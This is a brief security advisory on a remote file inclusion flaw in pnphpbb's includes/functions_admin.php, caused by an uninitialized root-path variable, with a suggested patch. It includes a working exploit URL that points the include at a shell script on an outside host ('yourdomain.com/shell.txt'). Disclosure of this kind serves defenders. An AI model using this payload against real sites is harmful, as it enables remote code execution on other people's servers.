Vendor's pnphpbb including/functions_admin.php is vulnerable to remote code execution due to uninitialized phpbb_root_path
`Vendor: http://www.pnphpbb.com/
Vulnerable File: includes/functions_admin.php
Vulnerable Code:
//The phpbb_root_path isn't initialize
include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );
Method To Use:
http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?
How To Fix:
Add this code before the include
if ( !defined('IN_PHPBB') )
{
die("Hacking attempt");
}
`
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